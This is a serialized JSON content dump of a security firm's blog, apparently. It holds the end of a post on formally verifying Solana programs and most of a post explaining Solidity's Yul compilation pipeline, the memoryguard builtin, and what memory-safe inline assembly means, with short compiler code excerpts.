way.",{"type":24,"tag":2665,"props":34548,"children":34549},{},[],{"type":24,"tag":25,"props":34551,"children":34552},{},[34553],{"type":24,"tag":8545,"props":34554,"children":34555},{},[34556,34558,34563,34564,34568],{"type":29,"value":34557},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":24,"tag":2773,"props":34559,"children":34561},{"href":24483,"rel":34560},[2777],[34562],{"type":29,"value":24487},{"type":29,"value":24489},{"type":24,"tag":2773,"props":34565,"children":34566},{"href":24492},[34567],{"type":29,"value":24495},{"type":29,"value":87},{"type":24,"tag":8473,"props":34570,"children":34571},{},[34572],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":34574},[34575,34581,34585,34590,34596,34600],{"id":24556,"depth":160,"text":24559,"children":34576},[34577,34578,34579,34580],{"id":24562,"depth":169,"text":24565},{"id":24630,"depth":169,"text":24633},{"id":25507,"depth":169,"text":25510},{"id":25547,"depth":169,"text":25550},{"id":25600,"depth":160,"text":34582,"children":34583},"Specification: How can we describe what we want our program to do?",[34584],{"id":25714,"depth":169,"text":25717},{"id":27072,"depth":160,"text":27075,"children":34586},[34587,34588,34589],{"id":27749,"depth":169,"text":27752},{"id":28033,"depth":169,"text":28036},{"id":28177,"depth":169,"text":28180},{"id":28318,"depth":160,"text":28321,"children":34591},[34592,34593,34594,34595],{"id":28389,"depth":169,"text":28392},{"id":30239,"depth":169,"text":30242},{"id":31041,"depth":169,"text":28381},{"id":33567,"depth":169,"text":28386},{"id":34407,"depth":160,"text":34410,"children":34597},[34598,34599],{"id":34413,"depth":169,"text":34416},{"id":34514,"depth":169,"text":34517},{"id":8458,"depth":160,"text":8461},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":34605,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":34606,"description":34607,"author":11344,"image":34608,"date":34610,"isFeatured":16,"onBlogPage":16,"tags":34611,"body":34613,"_type":8496,"_id":36031,"_source":8498,"_file":36032,"_stem":36033,"_extension":8501},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":34609,"height":15,"width":15},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[10098,34612],"compiler",{"type":21,"children":34614,"toc":36022},[34615,34621,34657,34669,34675,34697,34710,34857,34878,34883,34904,34909,34917,34922,34927,34932,34938,34957,34962,34983,35045,35058,35088,35108,35135,35140,35153,35158,35163,35176,35207,35230,35384,35402,35453,35472,35497,35502,35508,35535,35555,35583,35588,35610,35629,35637,35648,35653,35669,35926,35934,35939,35943,35948,35953,36018],{"type":24,"tag":32,"props":34616,"children":34618},{"id":34617},"introduction",[34619],{"type":29,"value":34620},"Introduction",{"type":24,"tag":25,"props":34622,"children":34623},{},[34624,34626,34632,34633,34637,34639,34646,34648,34655],{"type":29,"value":34625},"What does ",{"type":24,"tag":80,"props":34627,"children":34629},{"className":34628},[],[34630],{"type":29,"value":34631},"memory-safe",{"type":29,"value":12083},{"type":24,"tag":8545,"props":34634,"children":34635},{},[34636],{"type":29,"value":14910},{"type":29,"value":34638}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":24,"tag":2773,"props":34640,"children":34643},{"href":34641,"rel":34642},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[2777],[34644],{"type":29,"value":34645},"presents some requirements",{"type":29,"value":34647},", but is production code that ",{"type":24,"tag":2773,"props":34649,"children":34652},{"href":34650,"rel":34651},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[2777],[34653],{"type":29,"value":34654},"violates these requirements",{"type":29,"value":34656}," necessarily unsafe?",{"type":24,"tag":25,"props":34658,"children":34659},{},[34660,34662,34667],{"type":29,"value":34661},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":24,"tag":8545,"props":34663,"children":34664},{},[34665],{"type":29,"value":34666},"memory-safety",{"type":29,"value":34668}," actually means.",{"type":24,"tag":32,"props":34670,"children":34672},{"id":34671},"compiler-pipeline",[34673],{"type":29,"value":34674},"Compiler Pipeline",{"type":24,"tag":25,"props":34676,"children":34677},{},[34678,34680,34687,34689,34696],{"type":29,"value":34679},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":24,"tag":2773,"props":34681,"children":34684},{"href":34682,"rel":34683},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[2777],[34685],{"type":29,"value":34686},"released in v0.8.13",{"type":29,"value":34688},". Compilation happens ",{"type":24,"tag":2773,"props":34690,"children":34693},{"href":34691,"rel":34692},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[2777],[34694],{"type":29,"value":34695},"in two main steps",{"type":29,"value":978},{"type":24,"tag":2674,"props":34698,"children":34699},{},[34700,34705],{"type":24,"tag":2678,"props":34701,"children":34702},{},[34703],{"type":29,"value":34704},"Solidity to YUL IR",{"type":24,"tag":2678,"props":34706,"children":34707},{},[34708],{"type":29,"value":34709},"YUL IR to EVM opcodes",{"type":24,"tag":137,"props":34711,"children":34715},{"className":34712,"code":34713,"language":34714,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[34716],{"type":24,"tag":80,"props":34717,"children":34718},{"__ignoreMap":7},[34719,34749,34770,34782,34789,34801,34821,34829,34850],{"type":24,"tag":147,"props":34720,"children":34721},{"class":149,"line":150},[34722,34726,34731,34735,34740,34744],{"type":24,"tag":147,"props":34723,"children":34724},{"style":321},[34725],{"type":29,"value":4759},{"type":24,"tag":147,"props":34727,"children":34728},{"style":235},[34729],{"type":29,"value":34730}," (m_viaIR ",{"type":24,"tag":147,"props":34732,"children":34733},{"style":241},[34734],{"type":29,"value":3593},{"type":24,"tag":147,"props":34736,"children":34737},{"style":235},[34738],{"type":29,"value":34739}," m_generateIR ",{"type":24,"tag":147,"props":34741,"children":34742},{"style":241},[34743],{"type":29,"value":3593},{"type":24,"tag":147,"props":34745,"children":34746},{"style":235},[34747],{"type":29,"value":34748}," m_generateEwasm)\n",{"type":24,"tag":147,"props":34750,"children":34751},{"class":149,"line":160},[34752,34757,34761,34765],{"type":24,"tag":147,"props":34753,"children":34754},{"style":229},[34755],{"type":29,"value":34756},"        generateIR",{"type":24,"tag":147,"props":34758,"children":34759},{"style":235},[34760],{"type":29,"value":480},{"type":24,"tag":147,"props":34762,"children":34763},{"style":241},[34764],{"type":29,"value":244},{"type":24,"tag":147,"props":34766,"children":34767},{"style":235},[34768],{"type":29,"value":34769},"contract);\n",{"type":24,"tag":147,"props":34771,"children":34772},{"class":149,"line":169},[34773,34777],{"type":24,"tag":147,"props":34774,"children":34775},{"style":321},[34776],{"type":29,"value":4759},{"type":24,"tag":147,"props":34778,"children":34779},{"style":235},[34780],{"type":29,"value":34781}," (m_generateEvmBytecode)\n",{"type":24,"tag":147,"props":34783,"children":34784},{"class":149,"line":178},[34785],{"type":24,"tag":147,"props":34786,"children":34787},{"style":235},[34788],{"type":29,"value":3079},{"type":24,"tag":147,"props":34790,"children":34791},{"class":149,"line":187},[34792,34796],{"type":24,"tag":147,"props":34793,"children":34794},{"style":321},[34795],{"type":29,"value":403},{"type":24,"tag":147,"props":34797,"children":34798},{"style":235},[34799],{"type":29,"value":34800}," (m_viaIR)\n",{"type":24,"tag":147,"props":34802,"children":34803},{"class":149,"line":196},[34804,34809,34813,34817],{"type":24,"tag":147,"props":34805,"children":34806},{"style":229},[34807],{"type":29,"value":34808},"            generateEVMFromIR",{"type":24,"tag":147,"props":34810,"children":34811},{"style":235},[34812],{"type":29,"value":480},{"type":24,"tag":147,"props":34814,"children":34815},{"style":241},[34816],{"type":29,"value":244},{"type":24,"tag":147,"props":34818,"children":34819},{"style":235},[34820],{"type":29,"value":34769},{"type":24,"tag":147,"props":34822,"children":34823},{"class":149,"line":205},[34824],{"type":24,"tag":147,"props":34825,"children":34826},{"style":321},[34827],{"type":29,"value":34828},"        else\n",{"type":24,"tag":147,"props":34830,"children":34831},{"class":149,"line":214},[34832,34837,34841,34845],{"type":24,"tag":147,"props":34833,"children":34834},{"style":229},[34835],{"type":29,"value":34836},"            compileContract",{"type":24,"tag":147,"props":34838,"children":34839},{"style":235},[34840],{"type":29,"value":480},{"type":24,"tag":147,"props":34842,"children":34843},{"style":241},[34844],{"type":29,"value":244},{"type":24,"tag":147,"props":34846,"children":34847},{"style":235},[34848],{"type":29,"value":34849},"contract, otherCompilers);\n",{"type":24,"tag":147,"props":34851,"children":34852},{"class":149,"line":272},[34853],{"type":24,"tag":147,"props":34854,"children":34855},{"style":235},[34856],{"type":29,"value":1952},{"type":24,"tag":25,"props":34858,"children":34859},{},[34860,34862,34869,34870,34877],{"type":29,"value":34861},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":24,"tag":2773,"props":34863,"children":34866},{"href":34864,"rel":34865},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[2777],[34867],{"type":29,"value":34868},"YulStack::optimize",{"type":29,"value":855},{"type":24,"tag":2773,"props":34871,"children":34874},{"href":34872,"rel":34873},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[2777],[34875],{"type":29,"value":34876},"Assembly::optimize",{"type":29,"value":87},{"type":24,"tag":25,"props":34879,"children":34880},{},[34881],{"type":29,"value":34882},"In total, there are four steps.",{"type":24,"tag":2674,"props":34884,"children":34885},{},[34886,34890,34895,34899],{"type":24,"tag":2678,"props":34887,"children":34888},{},[34889],{"type":29,"value":34704},{"type":24,"tag":2678,"props":34891,"children":34892},{},[34893],{"type":29,"value":34894},"Optimization of YUL IR",{"type":24,"tag":2678,"props":34896,"children":34897},{},[34898],{"type":29,"value":34709},{"type":24,"tag":2678,"props":34900,"children":34901},{},[34902],{"type":29,"value":34903},"Optimization of EVM opcodes",{"type":24,"tag":25,"props":34905,"children":34906},{},[34907],{"type":29,"value":34908},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":24,"tag":98,"props":34910,"children":34911},{},[34912],{"type":24,"tag":25,"props":34913,"children":34914},{},[34915],{"type":29,"value":34916},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":24,"tag":25,"props":34918,"children":34919},{},[34920],{"type":29,"value":34921},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":24,"tag":25,"props":34923,"children":34924},{},[34925],{"type":29,"value":34926},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":24,"tag":25,"props":34928,"children":34929},{},[34930],{"type":29,"value":34931},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":24,"tag":32,"props":34933,"children":34935},{"id":34934},"guarantees",[34936],{"type":29,"value":34937},"Guarantees",{"type":24,"tag":25,"props":34939,"children":34940},{},[34941,34942,34949,34951,34956],{"type":29,"value":5094},{"type":24,"tag":2773,"props":34943,"children":34946},{"href":34944,"rel":34945},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[2777],[34947],{"type":29,"value":34948},"Solidity memory layout",{"type":29,"value":34950}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":24,"tag":8545,"props":34952,"children":34953},{},[34954],{"type":29,"value":34955},"no information about this layout",{"type":29,"value":87},{"type":24,"tag":25,"props":34958,"children":34959},{},[34960],{"type":29,"value":34961},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":24,"tag":25,"props":34963,"children":34964},{},[34965,34967,34973,34975,34981],{"type":29,"value":34966},"Introducing ",{"type":24,"tag":80,"props":34968,"children":34970},{"className":34969},[],[34971],{"type":29,"value":34972},"memoryguard",{"type":29,"value":34974},". If you've ever looked at the output of ",{"type":24,"tag":80,"props":34976,"children":34978},{"className":34977},[],[34979],{"type":29,"value":34980},"solc --ir",{"type":29,"value":34982},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":24,"tag":137,"props":34984,"children":34986},{"className":10099,"code":34985,"language":10098,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[34987],{"type":24,"tag":80,"props":34988,"children":34989},{"__ignoreMap":7},[34990,35008],{"type":24,"tag":147,"props":34991,"children":34992},{"class":149,"line":150},[34993,34998,35003],{"type":24,"tag":147,"props":34994,"children":34995},{"style":154},[34996],{"type":29,"value":34997},"    /// @src 0:26:371  \"contract ",{"type":24,"tag":147,"props":34999,"children":35000},{"style":218},[35001],{"type":29,"value":35002},"XXX",{"type":24,"tag":147,"props":35004,"children":35005},{"style":154},[35006],{"type":29,"value":35007}," {...\"\n",{"type":24,"tag":147,"props":35009,"children":35010},{"class":149,"line":160},[35011,35016,35020,35025,35029,35033,35037,35041],{"type":24,"tag":147,"props":35012,"children":35013},{"style":229},[35014],{"type":29,"value":35015},"    store",{"type":24,"tag":147,"props":35017,"children":35018},{"style":235},[35019],{"type":29,"value":480},{"type":24,"tag":147,"props":35021,"children":35022},{"style":705},[35023],{"type":29,"value":35024},"64",{"type":24,"tag":147,"props":35026,"children":35027},{"style":235},[35028],{"type":29,"value":546},{"type":24,"tag":147,"props":35030,"children":35031},{"style":229},[35032],{"type":29,"value":34972},{"type":24,"tag":147,"props":35034,"children":35035},{"style":235},[35036],{"type":29,"value":480},{"type":24,"tag":147,"props":35038,"children":35039},{"style":705},[35040],{"type":29,"value":2641},{"type":24,"tag":147,"props":35042,"children":35043},{"style":235},[35044],{"type":29,"value":3519},{"type":24,"tag":25,"props":35046,"children":35047},{},[35048,35050,35057],{"type":29,"value":35049},"From ",{"type":24,"tag":2773,"props":35051,"children":35054},{"href":35052,"rel":35053},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[2777],[35055],{"type":29,"value":35056},"the documentation",{"type":29,"value":9749},{"type":24,"tag":98,"props":35059,"children":35060},{},[35061],{"type":24,"tag":25,"props":35062,"children":35063},{},[35064,35066,35072,35074,35080,35082,35087],{"type":29,"value":35065},"The caller of ",{"type":24,"tag":80,"props":35067,"children":35069},{"className":35068},[],[35070],{"type":29,"value":35071},"let ptr := memoryguard(size)",{"type":29,"value":35073}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":24,"tag":80,"props":35075,"children":35077},{"className":35076},[],[35078],{"type":29,"value":35079},"[0, size)",{"type":29,"value":35081}," or the unbounded range starting at ",{"type":24,"tag":80,"props":35083,"children":35085},{"className":35084},[],[35086],{"type":29,"value":19564},{"type":29,"value":87},{"type":24,"tag":25,"props":35089,"children":35090},{},[35091,35093,35098,35100,35106],{"type":29,"value":35092},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":24,"tag":80,"props":35094,"children":35096},{"className":35095},[],[35097],{"type":29,"value":34972},{"type":29,"value":35099}," return ",{"type":24,"tag":80,"props":35101,"children":35103},{"className":35102},[],[35104],{"type":29,"value":35105},"size + 32",{"type":29,"value":35107},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":24,"tag":25,"props":35109,"children":35110},{},[35111,35113,35120,35122,35127,35129,35134],{"type":29,"value":35112},"An example of this optimization in practice ",{"type":24,"tag":2773,"props":35114,"children":35117},{"href":35115,"rel":35116},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[2777],[35118],{"type":29,"value":35119},"is the StackLimitEvader",{"type":29,"value":35121},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":24,"tag":8545,"props":35123,"children":35124},{},[35125],{"type":29,"value":35126},"only",{"type":29,"value":35128}," optimization pass that relies on the semantic information communicated by ",{"type":24,"tag":80,"props":35130,"children":35132},{"className":35131},[],[35133],{"type":29,"value":34972},{"type":29,"value":87},{"type":24,"tag":25,"props":35136,"children":35137},{},[35138],{"type":29,"value":35139},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":24,"tag":25,"props":35141,"children":35142},{},[35143,35145,35151],{"type":29,"value":35144},"Fear not, for we can remove this pointer entirely and call ",{"type":24,"tag":80,"props":35146,"children":35148},{"className":35147},[],[35149],{"type":29,"value":35150},"memoryguard(0x60)",{"type":29,"value":35152}," instead. The rest of the pipeline will still work.",{"type":24,"tag":32,"props":35154,"children":35155},{"id":34666},[35156],{"type":29,"value":35157},"Memory Safety",{"type":24,"tag":25,"props":35159,"children":35160},{},[35161],{"type":29,"value":35162},"So what does memory safety mean?",{"type":24,"tag":25,"props":35164,"children":35165},{},[35166,35168,35174],{"type":29,"value":35167},"The Solidity documentation provides ",{"type":24,"tag":2773,"props":35169,"children":35171},{"href":34641,"rel":35170},[2777],[35172],{"type":29,"value":35173},"a set of constraints",{"type":29,"value":35175},", not a definition.",{"type":24,"tag":98,"props":35177,"children":35178},{},[35179,35184],{"type":24,"tag":25,"props":35180,"children":35181},{},[35182],{"type":29,"value":35183},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":24,"tag":2674,"props":35185,"children":35186},{},[35187,35192,35197,35202],{"type":24,"tag":2678,"props":35188,"children":35189},{},[35190],{"type":29,"value":35191},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":24,"tag":2678,"props":35193,"children":35194},{},[35195],{"type":29,"value":35196},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":24,"tag":2678,"props":35198,"children":35199},{},[35200],{"type":29,"value":35201},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":24,"tag":2678,"props":35203,"children":35204},{},[35205],{"type":29,"value":35206},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":24,"tag":25,"props":35208,"children":35209},{},[35210,35212,35219,35229],{"type":29,"value":35211},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":24,"tag":2773,"props":35213,"children":35216},{"href":35214,"rel":35215},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[2777],[35217],{"type":29,"value":35218},"removes the memory guard",{"type":24,"tag":21085,"props":35220,"children":35221},{},[35222],{"type":24,"tag":2773,"props":35223,"children":35227},{"href":35224,"ariaDescribedBy":35225,"dataFootnoteRef":7,"id":35226},"#user-content-fn-1",[21092],"user-content-fnref-1",[35228],{"type":29,"value":1154},{"type":29,"value":87},{"type":24,"tag":137,"props":35231,"children":35233},{"className":34712,"code":35232,"language":34714,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[35234],{"type":24,"tag":80,"props":35235,"children":35236},{"__ignoreMap":7},[35237,35245,35253,35260,35296,35303,35311,35319,35327,35335,35343,35356,35369,35377],{"type":24,"tag":147,"props":35238,"children":35239},{"class":149,"line":150},[35240],{"type":24,"tag":147,"props":35241,"children":35242},{"style":154},[35243],{"type":29,"value":35244},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":24,"tag":147,"props":35246,"children":35247},{"class":149,"line":160},[35248],{"type":24,"tag":147,"props":35249,"children":35250},{"style":154},[35251],{"type":29,"value":35252},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":24,"tag":147,"props":35254,"children":35255},{"class":149,"line":169},[35256],{"type":24,"tag":147,"props":35257,"children":35258},{"emptyLinePlaceholder":16},[35259],{"type":29,"value":314},{"type":24,"tag":147,"props":35261,"children":35262},{"class":149,"line":178},[35263,35268,35273,35278,35282,35287,35292],{"type":24,"tag":147,"props":35264,"children":35265},{"style":9044},[35266],{"type":29,"value":35267},"string",{"type":24,"tag":147,"props":35269,"children":35270},{"style":235},[35271],{"type":29,"value":35272}," IRGenerator::",{"type":24,"tag":147,"props":35274,"children":35275},{"style":229},[35276],{"type":29,"value":35277},"memoryInit",{"type":24,"tag":147,"props":35279,"children":35280},{"style":235},[35281],{"type":29,"value":480},{"type":24,"tag":147,"props":35283,"children":35284},{"style":218},[35285],{"type":29,"value":35286},"bool",{"type":24,"tag":147,"props":35288,"children":35289},{"style":247},[35290],{"type":29,"value":35291}," _useMemoryGuard",{"type":24,"tag":147,"props":35293,"children":35294},{"style":235},[35295],{"type":29,"value":269},{"type":24,"tag":147,"props":35297,"children":35298},{"class":149,"line":187},[35299],{"type":24,"tag":147,"props":35300,"children":35301},{"style":235},[35302],{"type":29,"value":278},{"type":24,"tag":147,"props":35304,"children":35305},{"class":149,"line":196},[35306],{"type":24,"tag":147,"props":35307,"children":35308},{"style":154},[35309],{"type":29,"value":35310}," // This function should be called at the beginning of the EVM call frame\n",{"type":24,"tag":147,"props":35312,"children":35313},{"class":149,"line":205},[35314],{"type":24,"tag":147,"props":35315,"children":35316},{"style":154},[35317],{"type":29,"value":35318}," // and thus can assume all memory to be zero, including the contents of\n",{"type":24,"tag":147,"props":35320,"children":35321},{"class":149,"line":214},[35322],{"type":24,"tag":147,"props":35323,"children":35324},{"style":154},[35325],{"type":29,"value":35326}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":24,"tag":147,"props":35328,"children":35329},{"class":149,"line":272},[35330],{"type":24,"tag":147,"props":35331,"children":35332},{"style":321},[35333],{"type":29,"value":35334}," return\n",{"type":24,"tag":147,"props":35336,"children":35337},{"class":149,"line":281},[35338],{"type":24,"tag":147,"props":35339,"children":35340},{"style":235},[35341],{"type":29,"value":35342},"  Whiskers{\n",{"type":24,"tag":147,"props":35344,"children":35345},{"class":149,"line":299},[35346,35351],{"type":24,"tag":147,"props":35347,"children":35348},{"style":235},[35349],{"type":29,"value":35350},"   _useMemoryGuard ",{"type":24,"tag":147,"props":35352,"children":35353},{"style":241},[35354],{"type":29,"value":35355},"?\n",{"type":24,"tag":147,"props":35357,"children":35358},{"class":149,"line":308},[35359,35364],{"type":24,"tag":147,"props":35360,"children":35361},{"style":3534},[35362],{"type":29,"value":35363},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":24,"tag":147,"props":35365,"children":35366},{"style":241},[35367],{"type":29,"value":35368}," :\n",{"type":24,"tag":147,"props":35370,"children":35371},{"class":149,"line":317},[35372],{"type":24,"tag":147,"props":35373,"children":35374},{"style":3534},[35375],{"type":29,"value":35376},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":24,"tag":147,"props":35378,"children":35379},{"class":149,"line":332},[35380],{"type":24,"tag":147,"props":35381,"children":35382},{"style":235},[35383],{"type":29,"value":11496},{"type":24,"tag":25,"props":35385,"children":35386},{},[35387,35392,35394,35400],{"type":24,"tag":80,"props":35388,"children":35390},{"className":35389},[],[35391],{"type":29,"value":34980},{"type":29,"value":35393}," will now no longer have ",{"type":24,"tag":80,"props":35395,"children":35397},{"className":35396},[],[35398],{"type":29,"value":35399},"memoryguard(0x80)",{"type":29,"value":35401}," as expected.",{"type":24,"tag":137,"props":35403,"children":35405},{"className":10099,"code":35404,"language":10098,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[35406],{"type":24,"tag":80,"props":35407,"children":35408},{"__ignoreMap":7},[35409,35424],{"type":24,"tag":147,"props":35410,"children":35411},{"class":149,"line":150},[35412,35416,35420],{"type":24,"tag":147,"props":35413,"children":35414},{"style":154},[35415],{"type":29,"value":34997},{"type":24,"tag":147,"props":35417,"children":35418},{"style":218},[35419],{"type":29,"value":35002},{"type":24,"tag":147,"props":35421,"children":35422},{"style":154},[35423],{"type":29,"value":35007},{"type":24,"tag":147,"props":35425,"children":35426},{"class":149,"line":160},[35427,35432,35436,35440,35444,35449],{"type":24,"tag":147,"props":35428,"children":35429},{"style":229},[35430],{"type":29,"value":35431},"    mstore",{"type":24,"tag":147,"props":35433,"children":35434},{"style":235},[35435],{"type":29,"value":480},{"type":24,"tag":147,"props":35437,"children":35438},{"style":705},[35439],{"type":29,"value":35024},{"type":24,"tag":147,"props":35441,"children":35442},{"style":235},[35443],{"type":29,"value":546},{"type":24,"tag":147,"props":35445,"children":35446},{"style":705},[35447],{"type":29,"value":35448},"128",{"type":24,"tag":147,"props":35450,"children":35451},{"style":235},[35452],{"type":29,"value":269},{"type":24,"tag":25,"props":35454,"children":35455},{},[35456,35458,35463,35465,35470],{"type":29,"value":35457},"Semantically, the absence of ",{"type":24,"tag":80,"props":35459,"children":35461},{"className":35460},[],[35462],{"type":29,"value":34972},{"type":29,"value":35464}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":24,"tag":80,"props":35466,"children":35468},{"className":35467},[],[35469],{"type":29,"value":34972},{"type":29,"value":35471}," invariant.",{"type":24,"tag":98,"props":35473,"children":35474},{},[35475],{"type":24,"tag":25,"props":35476,"children":35477},{},[35478,35479,35484,35485,35490,35491,35496],{"type":29,"value":35065},{"type":24,"tag":80,"props":35480,"children":35482},{"className":35481},[],[35483],{"type":29,"value":35071},{"type":29,"value":35073},{"type":24,"tag":80,"props":35486,"children":35488},{"className":35487},[],[35489],{"type":29,"value":35079},{"type":29,"value":35081},{"type":24,"tag":80,"props":35492,"children":35494},{"className":35493},[],[35495],{"type":29,"value":19564},{"type":29,"value":87},{"type":24,"tag":25,"props":35498,"children":35499},{},[35500],{"type":29,"value":35501},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":24,"tag":32,"props":35503,"children":35505},{"id":35504},"undefined-behavior",[35506],{"type":29,"value":35507},"Undefined Behavior",{"type":24,"tag":25,"props":35509,"children":35510},{},[35511,35513,35518,35520,35525,35527,35533],{"type":29,"value":35512},"How strict is memory safety? When it comes to ",{"type":24,"tag":80,"props":35514,"children":35516},{"className":35515},[],[35517],{"type":29,"value":34972},{"type":29,"value":35519},", only touching memory after 0x80 seems to matter. Is ",{"type":24,"tag":80,"props":35521,"children":35523},{"className":35522},[],[35524],{"type":29,"value":34631},{"type":29,"value":35526}," annotated assembly that touches memory at ",{"type":24,"tag":80,"props":35528,"children":35530},{"className":35529},[],[35531],{"type":29,"value":35532},"[0x40, 0x7f]",{"type":29,"value":35534}," really safe?",{"type":24,"tag":25,"props":35536,"children":35537},{},[35538,35539,35546,35548,35553],{"type":29,"value":5094},{"type":24,"tag":2773,"props":35540,"children":35543},{"href":35541,"rel":35542},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[2777],[35544],{"type":29,"value":35545},"Solidity documentation",{"type":29,"value":35547}," mentions ",{"type":24,"tag":8545,"props":35549,"children":35550},{},[35551],{"type":29,"value":35552},"undefined behavior",{"type":29,"value":35554}," three times.",{"type":24,"tag":2674,"props":35556,"children":35557},{},[35558,35563,35578],{"type":24,"tag":2678,"props":35559,"children":35560},{},[35561],{"type":29,"value":35562},"The existence of a dangling reference",{"type":24,"tag":2678,"props":35564,"children":35565},{},[35566,35568],{"type":29,"value":35567},"Using verbatim improperly",{"type":24,"tag":21085,"props":35569,"children":35570},{},[35571],{"type":24,"tag":2773,"props":35572,"children":35576},{"href":35573,"ariaDescribedBy":35574,"dataFootnoteRef":7,"id":35575},"#user-content-fn-2",[21092],"user-content-fnref-2",[35577],{"type":29,"value":8753},{"type":24,"tag":2678,"props":35579,"children":35580},{},[35581],{"type":29,"value":35582},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":24,"tag":25,"props":35584,"children":35585},{},[35586],{"type":29,"value":35587},"Why does this matter?",{"type":24,"tag":25,"props":35589,"children":35590},{},[35591,35593,35600,35602,35609],{"type":29,"value":35592},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":24,"tag":2773,"props":35594,"children":35597},{"href":35595,"rel":35596},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[2777],[35598],{"type":29,"value":35599},"signed integer overflow is undefined",{"type":29,"value":35601},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":24,"tag":2773,"props":35603,"children":35606},{"href":35604,"rel":35605},"https://blog.regehr.org/archives/1307",[2777],[35607],{"type":29,"value":35608},"years down the 